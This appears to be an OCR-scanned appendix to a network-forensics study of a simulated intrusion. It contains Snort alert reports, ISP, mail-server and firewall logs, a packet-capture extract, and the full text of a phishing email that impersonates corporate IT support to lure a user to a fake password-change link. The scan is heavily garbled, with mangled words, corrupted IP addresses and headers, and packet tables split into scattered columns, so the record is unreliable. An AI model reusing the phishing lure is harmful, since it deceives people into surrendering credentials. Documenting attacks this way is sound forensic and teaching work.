22-09-1023:34 203.0.113.17 203.0.113.25 ICMP  Echo (ping) reply

Snort BASE report

Basic Analysis and Security Engine (BASE)

Home | Search

[ Back]

Queried on : Wed September 22, 2010 19:49:47

Meta Criteria "o >~ L 09«2l 201D ] | 29 5w ] L) Sepsors
«Clear... ® Unique Alerts
IP Criteria any e (classifications )

® Unigue addresses: Source | Destination
® Unique IP links

Payload Criteria_any ® Source Port: TCP | UDP

e Destination Port- TCP | UDP

Layer 4 Criteria  none

® Time profile of alerts

Displaying alerts 1-48 of 150 total

] D < Signature > < Timestamp > < Source Address > < Dest. Address > % Layer 4 Proto >
| #0(11)  [arachNIDS] [snort] ICMP Large ICMP Packst 2010-09-22 23.27:40 203.0.113.25 203.0.113.17 ICMP
EH #1{1.2)  [arachNIDS] [snort] ICMP Large ICMP Packet 2010-09-22 23:27:40 203.0.113.17 203.0.113.25 ICMP
1 #2{13)  [arachNIDS] [snort] ICMP Large ICMP Packet 2010-09-22 23:27:41 203.0.113.25 203.0.113.47 ICMP
H #3{14)  [arachNIDS] [snort] ICMP Large ICMP Packet 2010-09-22 23:27:41 203.0.113.25 203.0.113.17 ICMP
|l #4{15) [arachNIDS] [snort] ICMP Large ICMP Packet 2010-09-22 23.27:41 203.0.113.17 203.0.113.25 ICMP
= #5{16) [arachNIDS] [snort] ICMP Large ICMP Packet 2010-09-22 23:27:41 203.0.113.17 203.0.113.25 ICMP
| #6.(17)  [arachNIDS] [snort] ICMP Large ICMP Packst 2010-09-22 23.27:44 203.0.113.25 203.0.113.17 ICMP
= #1{18) [arachNIDS] [snort] ICMP Large ICMP Packet 2010-09-22 23:27:41 203.0.113.17 203.0.113.25 ICMP
= #8{19) [arachNIDS] [snort] ICMP Large ICMP Packet 2010-09-22 23:27:41 203.0.113.25 203.0.113.17 ICMP
El #3{1-10)  [arachNIDS] [snort] ICMP Large ICMP Packet 2010-09-22 23:27:42 203.0.113.25 203.0.113.17 ICMP
1 #10{111) [arachNIDS] [snort] ICMP Large ICMP Packet 2010-09-22 23:27:42 203.0.113.17 203.0.113.25 ICMP
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B.1.6 1SP network monitoringlog

| SP-iptrafl.log

A lot of information is visible through the ISP kgThe following short part of the
capture shows the communicationBlack with the MTA, between the MTAs, and the
initiation of the malicious session.

22-09-10 23:07:37 TCP ETHO2 first packet (SYN) ~ 198.51.100.6 59854 203.0.113.4 smtp 60
22-09-10 23:07:37 TCP ETHOO first packet (SYN) ~ 198.51.100.6 59854 203.0.113.4 smtp 60
22-09-10 23:07:37 TCP ETHOO first packet (SYN) ~ 203.0.113.4 smtp 198.51.100.6 ~ 59854 60
22-09-10 23:07:37 TCP ETHO2 first packet (SYN)  203.0.113.4 smtp 198.51.100.6 ~ 59854 60
22-09-10 23:07:37 TCP ETHO2 FIN sent 198.51.100.6 59854 203.0.113.4 smtp 87431
22-09-10 23:07:37 TCP ETHOO FIN sent 198.51.100.6 59854 203.0.113.4 smtp 87431
22-09-10 23:07:37 TCP ETHOO FIN acknowleged 203.0.113.4 smtp 198.51.100.6 ~ 59854 52
22-09-10 23:07:37 TCP ETHOO first packet (SYN) ~ 203.0.113.4 2177 203.0.113.34  smtp 60
22-09-10 23:07:37 TCP ETHO3 first packet (SYN)  203.0.113.4 2177 203.0.113.34  smtp 60
22-09-10 23:07:37 TCP ETHO3 first packet (SYN) ~ 203.0.113.34 smtp 203.0.113.4 2177 60
22-09-10 23:07:37 TCP ETHOO first packet (SYN) ~ 203.0.113.34 smtp 203.0.113.4 2177 60
22-09-10 23:07:38 TCP ETHO3 FIN sent 203.0.113.34 smtp 203.0.113.4 2177 1882
22-09-10 23:07:38 TCP ETHOO FIN sent 203.0.113.34 smtp 203.0.113.4 2177 1882
22-09-10 23:12:35 TCP ETHO3 first packet (SYN) ~ 203.0.113.25 1046 198.51.100.6  https 48
22-09-10 23:12:35 TCP ETHO2 first packet (SYN) ~ 203.0.113.25 1046 198.51.100.6  https 48
22-09-10 23:12:35 TCP ETHO2 first packet (SYN) ~ 198.51.100.6 https 203.0.113.25 = 1046 48
22-09-10 23:12:35 TCP ETHO3 first packet (SYN) ~ 198.51.100.6 https 203.0.113.25 = 1046 48

B.2 Second Incident

B.2.1 Phishing Mail (with headers)

X-Account-Key: accountl
X-UIDL: 000000414c826794
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <>
X-Original-To: vict@corp.lan
Delivered-To: vict@corp.lan
Received: from Mail.isp.tier3 (Mail.isp.tier3 [2@B113.4])
by Dmz.corp.lan (Postfix) with ESMTP id 540FE6132
for <vict@corp.lan>; Thu, 23 Sep 2010 02:40:38GDQUTC)
Received: from Black.black.lan (Black.black.lan $1%1.100.6])
by Mail.isp.tier3 (Postfix) with ESMTP id FIAA1613
for <vict@corp.lan>; Thu, 23 Sep 2010 02:40:376G@DQTC)
Received: from Black.black.lan (localhost [127.0]D.
by Black.black.lan (8.14.3/8.14.3/Debian-4) witBMTP id 08N2eb4D005973
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for <vict@corp.lan>; Wed, 22 Sep 2010 22:40:370M4
Date: Wed, 22 Sep 2010 22:40:37 -0400
Message-Id: <201009230240.08N2eb4D005973@ Blackk lidec
Content-Type: multipart/mixed; boundary=" 0816352717=="
MIME-Version: 1.0
From: IT-Support@corp.lan
To: vict@corp.lan
Subject: [Corp-IT] Urgent! Change Password

- =0816352717==
Content-Type: text/html; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

Dear Vict,</br>Unfortunately, our user account thatses have been attacked by a group of hackers.
Please <a href="http://CorpLan.dyndns-server.cdi@&IN</a> to your account and change your
password as soon as possible.</br></br>We apolégismny inconvenience caused,</br>IT-Support
Corp

-- =0816352717==--

B.2.2 Mail Server log (isp.tier3)

Mail-smtp2.log

22-09-10 02:27:42 Postfix (SMTP) postfix-script ~ starting the Postfix mail system
22-09-10 02:27:44 Postfix (SMTP) master[1541] daemon started -- version 2.2.8, configuration /etc/postfix
22-09-10 02:40:37 Postfix (SMTP) smtpd[2298]  connect from Black.black.lan[198.51.100.6]
22-09-10 02:40:37 Postfix (SMTP) smtpd[2298] F1AA16137: client=Black.black.lan[198.51.100.6]

A . F1AA16137: message-
22:09-1002:40:37  Postfix (SMTP)  cleanup(2300] _ 547009230240.08N2eb4D005973@Black black.lan>
22-09-10 02:40:38 Postfix (SMTP) gmgr[1552] F1AA16137: from=<>, size=1121, nrcpt=1 (queue active)
22-09-10 02:40:38 Postfix (SMTP) smtpd[2298]  disconnect from Black.black.lan[198.51.100.6]

. . to=<vict@corp.lan>, relay=Dmz.corp.lan[203.0.113.34],
22-09-10 02:40:38 HEBi Y smtp[2301] delay=1, status=sent (250 Ok: queued as 540FE6132)
22-09-10 02:40:38 Postfix (SMTP) gmgr[1552] F1AA16137: removed

B.2.3 Local Mail Server logs (corp.lan)

Dmz-smtp2.log

23-09-10 02:28:36 Postfix (SMTP) postfix-script ~ starting the Postfix mail system

23-09-10 02:28:37 Postfix (SMTP) master[1493]  daemon started -- version 2.2.8, configuration /etc/postfix
23-09-10 02:40:38 Postfix (SMTP) smtpd[1818]  connect from Mail.isp.tier3[203.0.113.4]

23-09-10 02:40:38 Postfix (SMTP) smtpd[1818] 540FE6132: client=Mail.isp.tier3[203.0.113.4]
23-09-1002:40:38  Postfix (SMTP) - cleanup(1820] iﬂi(leE(fll;ozéznggzsfog.z-SN2eb40005973@Black.black.lan>
23-09-10 02:40:38 Postfix (SMTP) smtpd[1818]  disconnect from Mail.isp.tier3[203.0.113.4]

23-09-10 02:40:38 Postfix (SMTP) gmgr[1517] 540FE6132: from=<>, size=1296, nrcpt=1 (queue active)
23-09-10 02:40:38 Postfix (SMTP) local[1821] 540FE6132: to=<vict@corp.lan>, relay=local, delay=0,
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status=sent (delivered to mailbox)

23-09-10 02:40:38 Postfix (SMTP) gmgr[1517] 540FE6132: removed

Dmz-pop2.log

23-09-10 02:28:13 Dovecot (POP)  Dovecot v1.0.rc2 starting up

pop3-login: Login: user=<vict>, method=PLAIN, rip=203.0.113.25,
lip=203.0.113.34

POP3(vict): Disconnected: Logged out top=0/0, rett388, del=1/2,
Size=2723

23-09-10 02:41:16 Dovecot (POP)

23-09-10 02:41:16 Dovecot (POP)

B.2.4 Firewall log

Corp-fiaf2.log
All firewall entries are due to theatchedrule for the corporate host IPs.

23-09-10 2:41:15 203.0.113.25 1031 203.0.113.34 110 TCP 8 48
23-09-10 2:42:22 203.0.113.25 1034 208.67.222.222 53 ubDP 10 51
23-09-10 2:42:22 203.0.113.25 1035 192.0.2.2 80 TCP 0 48
23-09-10 2:42:24 203.0.113.25 1037 129.16.10.170 443 TCP 0 48
23-09-10 2:42:24 203.0.113.25 1036 129.16.10.170 443 TCP 0 48
23-09-10 2:42:25 203.0.113.25 1038 192.0.2.2 80 TCP 0 48
23-09-10 2:42:25 203.0.113.25 1039 192.0.2.2 80 TCP 0 48
23-09-10 2:42:27 203.0.113.25 1040 192.0.2.2 80 TCP 0 48
23-09-10 2:43:07 203.0.113.25 1041 192.0.2.2 80 TCP 0 48
23-09-10 2:43:07 203.0.113.25 1042 129.16.10.170 443 TCP 0 48
23-09-10 2:43:07 203.0.113.25 1043 129.16.10.170 443 TCP 0 48
23-09-10 2:43:07 203.0.113.25 1044 192.0.2.2 2233 TCP 0 48
23-09-10 2:43:08 203.0.113.25 1045 129.16.10.170 443 TCP 0 48
23-09-10 2:44:50 203.0.113.25 1046 129.16.10.170 443 TCP 0 48
23-09-10 2:45:19 203.0.113.25 1047 129.16.10.170 443 TCP 0 48
23-09-10 2:46:01 203.0.113.25 1048 129.16.10.170 443 TCP 0 48
23-09-10 2:46:07 203.0.113.25 1049 129.16.10.170 443 TCP 0 48
23-09-10 2:46:12 203.0.113.25 1050 129.16.10.170 443 TCP 0 48

B.2.5 Traffic Analysislog and Snort reports

Nst-capture2.cap

The packet capture file contains information abaluthe packets transferred through
the Bridge.corp.lanbox. In this extract it is evident that the atec& IP address is not
visible in the network traffic andVhite is successfully transformed into a stepping
stone. At the end the multi-layering attempt cambiced.
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23-09-10 2:41
23-09-10 2:41

23-09-10 2:41
23-09-10 2:41
23-09-10 2:41
23-09-10 2:41
23-09-10 2:41
23-09-10 2:41

23-09-10 2:41

23-09-10 2:41

23-09-10 2:42

23-09-10 2:42

23-09-10 2:42

23-09-10 2:42

23-09-10 2:42
23-09-10 2:42

23-09-10 2:49

23-09-10 2:49

23-09-10 2:49

23-09-10 2:49

23-09-10 2:49

23-09-10 2:49

23-09-10 2:49
23-09-10 2:49
23-09-10 2:49
23-09-10 2:49
23-09-10 2:49
23-09-10 2:49
23-09-10 2:49
23-09-10 2:49
23-09-10 2:49

203.0.113.34
203.0.113.34

203.0.113.25
203.0.113.34
203.0.113.34
203.0.113.25
203.0.113.25

203.0.113.34

Vmware_99:3
1.df
Vmware_f3:0
5:29

203.0.113.25
203.0.113.25

208.67.222.2
22

203.0.113.25
192.0.2.2
203.0.113.25

203.0.113.26

203.0.113.25

00000000.00
0c292a619c¢

203.0.113.26
203.0.113.25

Vmware_2a:6
1:9c
Vmware_f3:0
5:29

203.0.113.26
203.0.113.25
203.0.113.26
203.0.113.25
203.0.113.26
203.0.113.25
203.0.113.26
203.0.113.25

203.0.113.25
203.0.113.25

203.0.113.34
203.0.113.25
203.0.113.25
203.0.113.34
203.0.113.34
203.0.113.25

Vmware_f3:0
5:29
Vmware_99:3
1.df

203.0.113.31

208.67.222.2
22

203.0.113.25

192.0.2.2
203.0.113.25
192.0.2.2

203.0.113.31

203.0.113.31

00000000 ffff
i

203.0.113.31
203.0.113.31

Broadcast

Vmware_2a:6
1:9c

203.0.113.25
203.0.113.26
203.0.113.25
203.0.113.26
203.0.113.25
203.0.113.26
203.0.113.25
203.0.113.26

TCP
POP

POP
TCP
POP
TCP
TCP
TCP

ARP

ARP

Brow

DNS

DNS

TCP
TCP
TCP

Brow

Brow

Brow

Brow

NBNS

ARP

ARP

NBNS
TCP
TCP

NBSS

NBSS
SMB
SMB
SMB

pop3 >iad2 [ACK] Seq=106 Ack=47 Win=5840 Len=0

S: +OK Logged in.

c.Quir

pop3 >iad2 [ACK] Seq=1636 Ack=87 Win=5840 Len=0

S: +0OK Logging out, messages deleted.

iad2 > pop3 [ACK] Seq=87 Ack=1673 Win=64204 Len=0

iad2 > pop3 [FIN, ACK] Seq=87 Ack=1673 Win=64204 Len=0

pop3 >iad2 [ACK] Seq=1673 Ack=88 Win=5840 Len=0

Who has 203.0.113.25? Tell 203.0.113.17

203.0.113.25 is at 00:0c:29:f3:05:29

Host Announcement CORPHOST-111, Workstation, Server, NT Workstation

Standard query A corplan.dyndns-server.com

Standard query response A 192.0.2.2

mxxrlogin > http [SYN] Seq=0 Win=64240 Len=0 MSS=1460
http > mxxrlogin [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
mxxrlogin > http [ACK] Seq=1 Ack=1 Win=64240 Len=0

Become Backup Browser

Request Announcement CORPHOST-111

Host Announcement CORPHOST-222, Workstation, Server, NT Workstation

Local Master Announcement CORPHOST-222, Workstation, Server, NT Workstation
Name query NB CORPHOST-222<20>

Who has 203.0.113.25? Tell 203.0.113.26

203.0.113.25 is at 00:0c:29:f3:05:29

Name query response NB 203.0.113.26

optima-vnet > netbios-ssn [SYN] Seq=0 Win=64240 Len=0 MSS=1460
netbios-ssn > optima-vnet [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
Session request, to CORPHOST-222<20> from CORPHOST-111<00>

Positive session response

Negotiate Protocol Request

Negotiate Protocol Response

Session Setup AndX Request, NTLMSSP_NEGOTIATE
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Snort BASE report

Basic Analysis and Security Engine (BASE)
[t |

[ Back ]
Queried on - Wed September 22, 2010 23:11:48
Mats Citatia time »= [ 0% 2 21 ~ 2010 ] [ 23 : = : =] . Se.nwrs
...Clear... * Unique Alerts
IP Criteria any * (classifications )
- * Unique addresses: Source | Destination
Layer 4 Criteria.  none « Unique IP links
Payload Critena any * Source Port: TCP | UDP

# Destination Port: TCP | UDP

* Time profile of alerts

Displaying alerts 1-6 of 6 total

I D < Signature > <Til > < Source Address > < Dest. Address > < Layer 4 Proto >
[T #041157) [snort] NETBIOS SMB IPCS unicoda share access 2010-09-23 02:49 12 203.0.113.25:1051 203.0.113.26:139 TcP
[-]  #141-158) [snort] NETBIOS SMB IPCS unicode share access 2010-09-23 02:49:12 203.0.113.25:1051 203.0.113.26:139 TCP
[7]  #241159) [snort] NETBIOS SMB-DS IPCS share access 2010-09-23 02:52:46 203.0.113.25:1062 203.0.113.26:445 TCP
7] #341-160) [snort] NETBIOS SMB IPCS unicode share access 2010-09-23 03:01:12 203.0.113.25:1083 203.0.113.26:139 TCP
[[] #4{1161) [snort] NETBIOS SMB IPCS unicode share access 2010-09-23 03-0112 203.0.113.25:1053 203.0.113.26:139 TCP

B.2.6 ISP network monitoringlog

| SP-iptraf2.log

A lot of information is visible through the ISP kgThe following short part of the
capture shows the SSH connection Bick with White and the initiation of the
malicious session.

Date/time mm Desination IP Dest port

23-09-10 2:33:33 TCP ETHO2 first packet (SYN)  198.51.100.6 47770 192.0.2.2 ssh 60
23-09-10 2:33:33 TCP ETHO1 first packet (SYN) ~ 198.51.100.6 47770 192.0.2.2 ssh 60
23-09-10 2:33:33 TCP ETHO1 first packet (SYN) ~ 192.0.2.2 ssh 198.51.100.6 47770 60
23-09-10 2:33:33 TCP ETHO2 first packet (SYN) ~ 192.0.2.2 ssh 198.51.100.6 47770 60
23-09-10 2:42:22 TCP ETHO3 first packet (SYN) ~ 203.0.113.25 mxxrlogin 192.0.2.2 http 48
23-09-10 2:42:22 TCP ETHO1 first packet (SYN) ~ 203.0.113.25 mxxrlogin 192.0.2.2 http 48
23-09-10 2:42:22 TCP ETHO1 first packet (SYN) 192.0.2.2 http 203.0.113.25 mxxrlogin 48
23-09-10 2:42:22 TCP ETHO3 first packet (SYN) ~ 192.0.2.2 http 203.0.113.25 mxxrlogin 48
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